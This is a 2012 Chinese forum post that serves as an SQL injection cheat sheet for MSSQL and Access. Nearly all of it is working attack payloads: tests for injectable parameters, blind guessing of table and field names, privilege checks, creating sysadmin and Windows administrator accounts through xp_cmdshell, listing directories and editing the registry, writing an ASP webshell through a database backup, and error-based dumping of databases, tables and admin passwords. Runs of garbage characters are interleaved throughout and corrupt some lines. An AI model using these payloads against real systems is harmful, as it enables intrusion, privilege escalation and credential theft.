找回密码
 立即注册
查看: 2467|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
5 \* E* V( I0 C; {2 J;and 1=1
* _2 D# s: U# r' t;and 1=2
+ t& x5 }3 g' d5 `* K( t5 y1 A$ f/ U0 M3 n  w& L5 l
2.初步判断是否是mssql 9 \# m& h; u: s+ n# J! G, `
;and user>0 % ^3 l7 A" j4 Q

: ?+ @& _, x( r* ~7 q" b& \3.判断数据库系统
4 I! @1 ?6 k' w9 h5 J- W. T;and (select count(*) from sysobjects)>0 mssql
3 ^& A0 G& z+ I' N6 h( V0 J/ V6 J;and (select count(*) from msysobjects)>0 access
7 W0 D2 V: f4 v! o3 z: X
1 ?0 X: k1 v7 R  h% e7 v4.注入参数是字符 5 P/ m( K5 G% i0 j
'and [查询条件] and ''='
3 |2 A" ]" z/ X" W9 c0 O
; ]+ L" t) A8 g7 J9 X5.搜索时没过滤参数的
' }; B9 u' e7 O, J& l3 P'and [查询条件] and '%25'='
6 r; Z9 F* B3 [2 i) ?. U
% \1 \1 V8 l- u0 |3 f! ?) a& }6 H6.猜数表名 + C5 B# u0 P1 i5 |
;and (select Count(*) from [表名])>0
5 E: `/ y7 `. R4 }( J6 j+ Y
3 w2 ?2 v4 E- M7.猜字段 % \9 k7 \3 q7 _( G9 b7 f4 d
;and (select Count(字段名) from 表名)>0
' L! L2 z( y$ w3 J' y  c7 ]& Q  n5 [' Q6 o+ t
8.猜字段中记录长度
' f  F/ N$ |# `2 h6 Y, z- P2 m;and (select top 1 len(字段名) from 表名)>0
% e8 c0 G/ ~6 g6 y0 w
; T3 {6 {" }6 e! O+ @; ^) x: Q) b9.(1)猜字段的ascii值(access)
. _6 l( _9 I. x, v. O+ Z;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 * [  }3 |# x. w- O! u; N$ o

( H2 V* d8 x, D; c6 P$ K(2)猜字段的ascii值(mssql)
+ |! E* C* Q' w;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 , z! k5 ~. U& E+ o) u( P

* ]2 O- S7 q% g1 ~4 t  @10.测试权限结构(mssql)
$ t# H* i+ `! N: c- ^;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- % A# n6 B& t) f: ?, a2 ]  D; [
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7 I5 f* Z1 H: C. Q& ~1 `
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- # z) B8 a7 m% q% N
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- + n, N! _$ g* @, B& }
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 7 K; |  i1 O" B
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
' x% i6 o' d/ R$ ]- f, V4 u;and 1=(select IS_MEMBER('db_owner'));--
4 R+ V, j; W) \8 f& E5 C
; L, Y* a" u! f, s6 s& B3 H8 [2 o& g11.添加mssql和系统的帐户 * l1 }  ^2 j( l* m
;exec master.dbo.sp_addlogin username;-- 4 k$ L) g/ }+ z3 p
;exec master.dbo.sp_password null,username,password;--
# k) v) B- r1 n;exec master.dbo.sp_addsrvrolemember sysadmin username;--
5 t& l1 G! e/ [  @9 {;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ' @* I2 p8 v/ g1 z3 d
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ; Q* x5 x0 r" Y% e$ |% {
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
2 p4 t; G) s9 Q, z0 |- I! p; c% ]2 I' }) L1 {& ^1 B
12.(1)遍历目录 7 N# k' u1 d  b! \1 ]8 s1 M
;create table dirs(paths varchar(100), id int) 6 S, p; S- e9 H: ~+ m  ~9 Y8 A( Q
;insert dirs exec master.dbo.xp_dirtree 'c:\' * u1 J& s: C- K3 q
;and (select top 1 paths from dirs)>0
( S6 }& ]) H' f# ]& D' b& r* e! o& g3 V;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) / f- }6 A  Q9 H( O( j% u8 B9 C! u+ D8 r
5 [1 X& o& S/ A. g' Z
(2)遍历目录
4 w( ]+ e! c' J1 s. X;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
0 b$ I8 t% S" q' X8 [, a! |  O" A;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
; w6 X$ h0 j4 H; f;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ; P7 M% l6 m9 y, T7 T" v9 A
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 # F- I( ~& ?: F1 f: l, \+ s
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 & g7 u& T* G; a9 F" S" e2 O

* c$ D3 c+ g4 P13.mssql中的存储过程 ( v- j3 Q1 o8 k0 [3 M$ \
xp_regenumvalues 注册表根键, 子键 % u4 P6 w" L7 v' X6 z: s$ O; S* i
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
( W& v' G, \7 ]8 k2 _xp_regread 根键,子键,键值名 0 @7 D' |: X: m6 Y4 Y! ], O  F- m
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 , z+ D# ?& Y8 p7 j
xp_regwrite 根键,子键, 值名, 值类型, 值
$ E( W& G1 ?% G" U值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 . H  t  ^  e' K
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
  Q' [  F( ~: `1 txp_regdeletevalue 根键,子键,值名
3 S8 B: w& z9 vexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 9 M; _4 \- H& _* Q' b+ g( o
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
+ Q4 ^2 U/ C" `* q$ F$ W$ s
7 s4 H9 R/ X  D- M5 n+ E  m- _14.mssql的backup创建webshell
) z0 ^/ g2 l( c; p7 nuse model ! q6 v% C2 h1 @& C
create table cmd(str image); ) d4 j4 O$ |! ^+ t3 Q  C
insert into cmd(str) values ('<% Dim oScript %>');
1 E* A1 x$ L- {backup database model to disk='c:\l.asp';
% ?* q: u2 l5 `( |! [6 m' _/ l: f' L% `% W: B
15.mssql内置函数 : s* H! `/ k, [, w
;and (select @@version)>0 获得Windows的版本号
0 I4 @' z+ O  u: Q;and user_name()='dbo' 判断当前系统的连接用户是不是sa 9 X3 w" `& m( E$ |9 a5 E; N5 h' m
;and (select user_name())>0 爆当前系统的连接用户 : S; [; \" F% M7 z- T
;and (select db_name())>0 得到当前连接的数据库
% y! i* `: ]- i* n. E
0 _/ c0 q, j$ t0 X1 q' v0 h% H3 o$ j  }. P
: i3 U2 S* B; k: j
MSSQL手注暴库
& u3 r/ V% o6 X( U6 U, j. B* }7 F. \+ R0 f) d7 ?8 U6 @
1.暴出当前表名和列名
2 Z8 n7 w: L8 ?在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。# a1 n/ E( s& V) F2 Y
* a; {; H/ {" Z+ w
第一.爆出所有数据库名( ?7 o7 f* `2 @8 V6 X$ P/ Z% L
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
: z  L+ @+ U7 [  x* A* v第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
3 K. Q5 {7 g/ ?
; Y3 [% O1 w+ Land 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
8 n' L* z- A6 ~& k2 S
1 G6 @" p9 d' c5 A# u
3 Z. Z4 z8 K8 l6 h' Y1 z- B第二.爆出指定库中的所有表名
8 |. E: e0 C7 r! G7 s- Q4 P# f得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
, `6 e& n9 A, U; |/ b" b8 ?: d再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
( n; }2 @. f: q( u: f$ u4 Z3 U8 ~# q7 u* f
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
, N, P$ k% t. p9 f' Oand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
, G: g% ?! O# a& k, z0 T8 q5 Iand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--5 }6 s3 {( F6 I8 R
% x3 d( M' [2 j! b! ?( h1 X
4.爆出指定表中的所有列名
6 k  C' S8 p5 ]8 w1 d, \/ @/ |2 zand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
$ B& C4 D, h2 g, T- n; D//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'! k  i2 O4 V$ ?2 f

. o, }! p$ r' {& ~: \and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
( f0 `; O4 y# ~$ z% V6 |, E( O' |6 k1 c. q* w
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
0 ~8 q3 X! c7 Z依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
9 T  [9 x+ `: F$ M# _6 c
9 T* |# l* y2 D1 w" v! T
  l- c' B# D5 u$ B9 R# [0 Aand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值* O$ l" b; O* _* ?# L5 C5 v! M

) @" }. V- v# h2 k0 [) Z! }and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
0 j# O  f$ q9 L; ]! S4 a$ C+ [
: c# j( K1 z0 R0 W7 Vand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 6 i$ `' x3 f% H& a# \8 G

0 i+ V5 ~- ~/ e$ H. Y1 Q0 _8 V2 G7 {. G' {- q# v+ F- u

, ~( U' I* u& L# E5.读取指定表中的数据. \# H2 N" w. n8 d5 C

! f& R" J/ l  O2 a7 h& z) Oand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ) K/ t* Y. ?. t6 Y  [5 [( z
" y5 d6 n: H5 F( ^. w5 \7 n2 W. w
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
" d& I/ D6 t* a$ B7 e
1 S2 v5 B, ~! ?3 j) R9 g% g" {+ eand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
4 S; k. }$ }# i0 ]7 ^. o
. _3 P0 l0 J5 d# ~$ T- m2 l5 t6 Q
( C& n. L9 t# q1 c$ n- d7 i8 Nand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
; d' ?: v' N* E- b. C
5 `+ F' E) p, i# p" x+ {8 n7 T4 Nand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)6 x; a& ~0 U7 }1 `* C8 A& M
5 H2 W. k; s6 V' H
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--# S. t5 Y! ?9 L9 N: V, u9 u; q% f

. z; O. q+ S  {' m9 E知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
' Q3 ~% d7 o' t; x) Q% V9 X9 U6 w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表